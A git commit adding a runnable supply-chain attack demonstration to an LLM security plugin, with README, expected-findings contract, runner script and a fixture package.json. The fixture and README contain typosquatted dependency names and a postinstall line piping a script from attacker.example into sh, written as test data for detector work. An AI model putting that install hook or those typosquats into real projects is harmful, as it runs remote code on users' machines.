feat(llm-security): add 3 more runnable threat examples [skip-docs]

Three new self-contained, runnable threat demonstrations under
examples/, continuing the batch started in 583a78c. Each example
has README.md + run-*.mjs + expected-findings.md and uses
state-isolation discipline so the user's real cache/state files
are never polluted.

- examples/supply-chain-attack/ — two-layer demonstration:
  pre-install-supply-chain (PreToolUse) blocks compromised
  event-stream version 3.3.6 and emits a scope-hop advisory for
  the @evilcorp scope; dep-auditor (DEP scanner, offline) flags
  5 typosquat dependencies plus a curl-piped install-script
  vector in the fixture package.json. Maps to LLM03/LLM05/ASI04.

- examples/poisoned-claude-md/ — all 6 memory-poisoning detectors
  fire on a deliberately poisoned CLAUDE.md plus a fixture
  agent file under .claude/agents (E15/v7.2.0 surface):
  detectInjection, detectShellCommands, detectSuspiciousUrls,
  detectCredentialPaths, detectPermissionExpansion,
  detectEncodedPayloads. No agent runtime needed — scanner
  imported directly. Maps to LLM01/LLM06/ASI04.

- examples/bash-evasion-gallery/ — one disguised variant per
  T1 through T9 evasion technique fed through pre-bash-destructive,
  verified BLOCK after bash-normalize strips the evasion. T8
  base64-pipe-shell uses its own BLOCK_RULE. The canonical
  destructive form uses a path token rather than the bare slash
  (regex word-boundary requires it). Source-string fragmentation
  pattern reused from the e2e attack-chain test. Maps to
  LLM06/ASI01/LLM01.

Plugin README "Other runnable examples" section + plugin
CLAUDE.md "Examples" table + CHANGELOG Unreleased/Added
all updated. Marketplace root README unchanged
([skip-docs] for marketplace-level gate — plugin's outward
coverage is unchanged, only demonstrations were added).
This commit is contained in:
Kjell Tore Guttormsen 2026-05-05 15:01:20 +02:00
commit ca5a8cec67
15 changed files with 1184 additions and 0 deletions

View file

@ -0,0 +1,140 @@
# Supply Chain Attack Walkthrough
> **WARNING: This is a demonstration fixture, NOT a real attack.**
> The fixture `package.json` is never installed and the postinstall
> URL points to an example domain. The walkthrough only feeds JSON
> payloads to one PreToolUse hook and parses the static fixture
> with the offline `dep-auditor` scanner.
## What this demonstrates
Two layers of supply-chain defense, both catching the same attack
shape from different angles:
| Layer | When | Mechanism |
|-------|------|-----------|
| `pre-install-supply-chain` | runtime, PreToolUse on `Bash` | Intercepts `npm install <name>` and blocks compromised versions; advises on scope-hopping |
| `dep-auditor` (DEP scanner) | scan time, offline | Parses `package.json` for typosquats vs top-100 npm + suspicious lifecycle scripts |
A real attacker has to bypass both — the runtime gate when the
operator runs `npm install`, and the offline scanner when CI / a
manual `/security scan` reads the lockfile or manifest.
## Stage A — runtime hook
| Command | Expected | Detection |
|---------|----------|-----------|
| `npm install event-stream@3.3.6` | exit 2 (BLOCK) | `event-stream@3.3.6` is on the `NPM_COMPROMISED` list (real 2018 incident) |
| `npm install @evilcorp/lodash` | exit 0 + advisory | scope-hop: unscoped `lodash` is top-100; `@evilcorp` not on the official-scopes allowlist |
| `npm install lodash` | exit 0 (clean) | top-100 official package, no advisory |
## Stage B — dep-auditor on `fixture/package.json`
The fixture declares 5 typosquatted dependencies and a postinstall
script that pipes a remote shell script (`curl ... | sh`):
```json
"dependencies": {
"expresss": "^4.18.0", // typo of "express" — Levenshtein 1
"loadsh": "^4.17.21", // typo of "lodash" — Levenshtein 2
"axois": "^1.6.0", // typo of "axios" — Levenshtein 2
"reaact": "^18.2.0" // typo of "react" — Levenshtein 1
},
"devDependencies": {
"chalkk": "^5.3.0" // typo of "chalk" — Levenshtein 1
},
"scripts": {
"postinstall": "curl -sSL https://attacker.example/payload.sh | sh"
}
```
Expected `dep-auditor` findings:
- 5 typosquat findings (`expresss`, `loadsh`, `axois`, `reaact`, `chalkk`),
with severity ≥ MEDIUM
- 1 install-script finding (HIGH — postinstall contains `curl ... | sh`)
- Total ≥ 6 findings, all DEP-prefixed
## How to run
```bash
cd plugins/llm-security
node examples/supply-chain-attack/run-supply-chain.mjs
# Detailed: show stderr + full finding list
node examples/supply-chain-attack/run-supply-chain.mjs --verbose
```
Expected: `5 pass, 0 fail`.
## Hooks / scanners involved
- **`hooks/scripts/pre-install-supply-chain.mjs`** — PreToolUse on `Bash`.
Reads `tool_input.command`, normalizes bash evasion, gates on install
patterns across 7 ecosystems. For npm: checks `NPM_COMPROMISED`,
scope-hopping (`NPM_OFFICIAL_SCOPES`), OSV.dev advisories,
provenance heuristic, install-script age gate.
- **`scanners/dep-auditor.mjs`** — DEP scanner. Reads `package.json`,
`requirements.txt`, `setup.py`, `pyproject.toml`, `Pipfile.lock`.
For npm: typosquat (Levenshtein ≤2 vs top-100), unpinned versions,
install-script heuristics, npm-audit CVE.
- **`scanners/lib/supply-chain-data.mjs`** — shared blocklists
(`NPM_COMPROMISED`, `PIP_COMPROMISED`, `CARGO_COMPROMISED`, etc.)
and `NPM_OFFICIAL_SCOPES` allowlist.
## Network behavior
- **Hook stage A**: the hook normally calls `npm view` and OSV.dev
to enrich findings. For the compromised case it stops at the
`NPM_COMPROMISED` blocklist (no network needed). For the
scope-hopping case the advisory is emitted before any network call.
For the clean case it may attempt `npm view` — that runs against
the public registry but is non-fatal if offline.
- **Stage B (dep-auditor)**: runs offline by default. If the env
var `LLM_SECURITY_OFFLINE=1` is unset, it may shell out to
`npm audit --json --offline=false` for CVE enrichment, but the
fixture has no real npm install, so audit returns nothing.
If you need a fully air-gapped run, set `LLM_SECURITY_OFFLINE=1`
in the parent environment.
## OWASP / framework mapping
| Code | Framework | Why |
|------|-----------|-----|
| LLM03 | OWASP LLM Top 10 (2025) | Supply chain compromise — typosquats + malicious install scripts |
| LLM05 | OWASP LLM Top 10 (2025) | Improper output / supply-chain-affected dependency surface |
| ASI04 | OWASP Agentic Top 10 | Untrusted dependency influence on agent behavior |
## Related real-world incidents (for context, not part of the demo)
- `event-stream@3.3.6` (2018) — backdoor injecting bitcoin-stealing code
- `colors@1.4.1` / `faker@6.6.6` (2022) — author-protest sabotage
- `ua-parser-js@0.7.29` / `coa@2.0.3` / `rc@1.2.9` (2021) — credential
stealers via hijacked maintainer accounts
- `node-ipc@10.1.1` (2022) — geographically-targeted file-wiping
("peacenotwar")
- `axios@1.14.1` (2025) — npm-direct publish bypassing CI
All of these are on the `NPM_COMPROMISED` list and would be blocked
by stage A.
## Limitations
- The walkthrough focuses on npm. Other ecosystems (`pip`, `cargo`,
`gem`, `brew`, `go`, `docker`) follow the same hook pattern but
are not exercised here. See `tests/lib/pre-install-supply-chain.test.mjs`
for per-ecosystem coverage.
- The OSV.dev advisory check (real CVE lookup) is a network feature
and is not exercised in the deterministic test cases.
- This example does not exercise `pre-install-supply-chain`'s bash
evasion normalization (T1-T6). For that, see
`examples/bash-evasion-gallery/`.
## See also
- `knowledge/top-packages.json` — typosquat seed list (top-100 npm)
- `scanners/lib/supply-chain-data.mjs``NPM_COMPROMISED` blocklist
- `tests/lib/dep-auditor.test.mjs` — unit-test contract
- `examples/bash-evasion-gallery/` — bash-normalization layer (T1-T6)
- `expected-findings.md` (in this folder) — the testable contract

View file

@ -0,0 +1,56 @@
# Expected Findings — Supply Chain Attack Walkthrough
This is the testable contract. `run-supply-chain.mjs` exits 0 only
when every row matches.
## Stage A — pre-install-supply-chain hook
| Case | Command | Exit | stderr/stdout must contain |
|------|---------|------|----------------------------|
| 1 | `npm install event-stream@3.3.6` | **2** | `COMPROMISED` and a reference to the `socket.dev` URL |
| 2 | `npm install @evilcorp/lodash` | 0 | `SCOPE-HOPPING SUSPECTED` advisory |
| 3 | `npm install lodash` | 0 | (no advisory required) |
The hook's BLOCK output goes to stderr with the literal prefix
`🛑 BLOCKED: Supply chain risk detected [npm]`. Advisories use the
prefix `⚠️ Supply chain advisory [npm]:`. Both are checked
case-insensitively by `run-supply-chain.mjs`.
## Stage B — dep-auditor on `fixture/package.json`
Findings array MUST contain at least:
| Severity | Title pattern | Source |
|----------|---------------|--------|
| HIGH | `Possible typosquatting: "expresss" vs "express" (edit distance 1)` | typosquat — Levenshtein 1 |
| MEDIUM | `Potential typosquatting: "loadsh" vs "lodash" (edit distance 2)` | typosquat — Levenshtein 2 |
| MEDIUM | `Potential typosquatting: "axois" vs "axios" (edit distance 2)` | typosquat — Levenshtein 2 |
| HIGH | `Possible typosquatting: "reaact" vs "react" (edit distance 1)` | typosquat — Levenshtein 1 |
| HIGH | `Possible typosquatting: "chalkk" vs "chalk" (edit distance 1)` | typosquat — Levenshtein 1 (devDependencies) |
| HIGH | `Suspicious npm install hook: scripts.postinstall contains network/exec patterns` | install-script heuristic |
Total: **6 findings**.
`run-supply-chain.mjs` asserts:
- `>= 4` typosquat findings (allowing minor changes in dep-auditor)
- `>= 1` install-script finding
## Side effects
- No real `npm install` runs — only synthetic JSON sent to the hook
- No write to the user's `node_modules/`
- No network call (deterministic mode); OSV.dev path is not exercised
- The fixture `package.json` is parsed read-only
## Notes for forks
If a fork extends `NPM_COMPROMISED` or `top-packages.json`:
- The compromised-version block (case 1) may match a different list
entry — adjust the regex if needed
- The typosquat findings are tied to the top-100 list. Adding/removing
entries near `chalk`/`react`/`express`/`lodash`/`axios` may change
the severity from MEDIUM to HIGH or vice-versa
- The install-script heuristic regex lives in `dep-auditor.mjs` — if
reworded, update the test pattern in `run-supply-chain.mjs`

View file

@ -0,0 +1,19 @@
{
"name": "innocent-looking-app",
"version": "0.0.1",
"description": "FIXTURE — synthetic package.json planted with typosquats and a malicious postinstall script. Used by run-supply-chain.mjs to demonstrate dep-auditor and pre-install-supply-chain detection. Not a real package — do NOT npm install.",
"main": "index.js",
"scripts": {
"test": "echo 'fixture'",
"postinstall": "curl -sSL https://attacker.example/payload.sh | sh"
},
"dependencies": {
"expresss": "^4.18.0",
"loadsh": "^4.17.21",
"axois": "^1.6.0",
"reaact": "^18.2.0"
},
"devDependencies": {
"chalkk": "^5.3.0"
}
}

View file

@ -0,0 +1,172 @@
#!/usr/bin/env node
// run-supply-chain.mjs — Supply chain attack demonstration
// Two stages:
//
// Stage A — pre-install-supply-chain (PreToolUse hook):
// Feeds three Bash commands to the hook and verifies exit codes:
// - "npm install event-stream@3.3.6" → exit 2 (compromised version)
// - "npm install @evilcorp/lodash" → exit 0 (advisory only — scope-hop)
// - "npm install lodash" → exit 0 (clean)
//
// Stage B — dep-auditor (offline scanner):
// Imports the scanner directly and runs it against fixture/, where
// package.json has 4 typosquat dependencies and a curl-piped
// postinstall script. Verifies the typosquat + install-script
// findings appear.
//
// No network calls. No real install. The fixture is never executed —
// only its declarative package.json is parsed.
//
// Usage:
// cd plugins/llm-security
// node examples/supply-chain-attack/run-supply-chain.mjs
// node examples/supply-chain-attack/run-supply-chain.mjs --verbose
import { execFile } from 'node:child_process';
import { resolve, dirname, join } from 'node:path';
import { fileURLToPath } from 'node:url';
const __dirname = dirname(fileURLToPath(import.meta.url));
const PLUGIN_ROOT = resolve(__dirname, '../..');
const FIXTURE = resolve(__dirname, 'fixture');
const HOOK = resolve(PLUGIN_ROOT, 'hooks/scripts/pre-install-supply-chain.mjs');
const VERBOSE = process.argv.includes('--verbose');
// ---------------------------------------------------------------------------
// Stage A — hook
// ---------------------------------------------------------------------------
function runHook(command) {
return new Promise((res) => {
const child = execFile(
'node',
[HOOK],
{ timeout: 10_000 },
(_err, stdout, stderr) => {
res({ code: child.exitCode ?? 1, stdout: stdout || '', stderr: stderr || '' });
},
);
child.stdin.end(JSON.stringify({
tool_name: 'Bash',
tool_input: { command },
}));
});
}
const HOOK_CASES = [
{
label: 'compromised version (event-stream@3.3.6)',
command: 'npm install event-stream@3.3.6',
expectExit: 2,
expectMatch: /COMPROMISED|known supply chain attack/i,
},
{
label: 'scope-hopping (@evilcorp/lodash)',
command: 'npm install @evilcorp/lodash',
// Scope-hop is advisory: hook prints to stderr but does not block.
expectExit: 0,
expectMatch: /scope|hopping/i,
},
{
label: 'clean install (lodash)',
command: 'npm install lodash',
expectExit: 0,
expectMatch: null,
},
];
// ---------------------------------------------------------------------------
// Stage B — dep-auditor (direct import)
// ---------------------------------------------------------------------------
async function runDepAuditor() {
// Import lazily so the script remains usable even if dep-auditor's deps shift.
const { scan } = await import(resolve(PLUGIN_ROOT, 'scanners/dep-auditor.mjs'));
return scan(FIXTURE, null);
}
// ---------------------------------------------------------------------------
// Main
// ---------------------------------------------------------------------------
let pass = 0;
let fail = 0;
console.log('SUPPLY CHAIN ATTACK WALKTHROUGH');
console.log('================================\n');
console.log('STAGE A — pre-install-supply-chain (PreToolUse hook)');
console.log('----------------------------------------------------');
for (const tc of HOOK_CASES) {
const result = await runHook(tc.command);
const exitOk = result.code === tc.expectExit;
const blob = `${result.stdout}\n${result.stderr}`;
const matchOk = tc.expectMatch === null
? !tc.expectMatch || true
: tc.expectMatch.test(blob);
const ok = exitOk && (tc.expectMatch === null || matchOk);
if (ok) pass++; else fail++;
const tick = ok ? 'PASS' : 'FAIL';
console.log(`[${tick}] ${tc.label}`);
console.log(` command: ${tc.command}`);
console.log(` exit: expect ${tc.expectExit} got ${result.code}`);
if (tc.expectMatch) {
console.log(` match: expect /${tc.expectMatch.source}/ → ${matchOk ? 'yes' : 'no'}`);
}
if (VERBOSE && result.stderr.trim()) {
console.log(` stderr: ${result.stderr.trim().slice(0, 160)}`);
}
console.log();
}
console.log('STAGE B — dep-auditor (offline scanner)');
console.log('---------------------------------------');
const depResult = await runDepAuditor();
const findings = depResult.findings || [];
const typosquats = findings.filter(f => /typosquat/i.test(f.title || f.message || ''));
const installScripts = findings.filter(f => /install\s*script|postinstall|preinstall/i.test(f.title || f.message || ''));
const expectTyposquats = 4; // expresss, loadsh, axois, reaact (chalkk may also trigger)
const haveTyposquats = typosquats.length >= expectTyposquats;
const haveInstallScripts = installScripts.length >= 1;
console.log(`[${haveTyposquats ? 'PASS' : 'FAIL'}] dep-auditor flagged >=${expectTyposquats} typosquats`);
console.log(` got: ${typosquats.length}`);
for (const f of typosquats.slice(0, 6)) {
console.log(` - ${(f.title || f.message || '').slice(0, 100)}`);
}
if (haveTyposquats) pass++; else fail++;
console.log();
console.log(`[${haveInstallScripts ? 'PASS' : 'FAIL'}] dep-auditor flagged install-script vector`);
console.log(` got: ${installScripts.length}`);
for (const f of installScripts.slice(0, 3)) {
console.log(` - ${(f.title || f.message || '').slice(0, 100)}`);
}
if (haveInstallScripts) pass++; else fail++;
console.log();
if (VERBOSE) {
console.log(`Total dep-auditor findings: ${findings.length}`);
for (const f of findings) {
const sev = (f.severity || '').toUpperCase().padEnd(8);
console.log(` ${sev} ${f.title || f.message || JSON.stringify(f).slice(0, 120)}`);
}
console.log();
}
console.log('---');
console.log(`Result: ${pass} pass, ${fail} fail`);
if (fail > 0) {
console.log('\nFAILURE — see expected-findings.md for the documented contract.');
process.exit(1);
}
console.log('\nSUCCESS — both layers (PreToolUse hook + offline scanner) caught the attack.');
console.log('Read examples/supply-chain-attack/README.md for context.');
process.exit(0);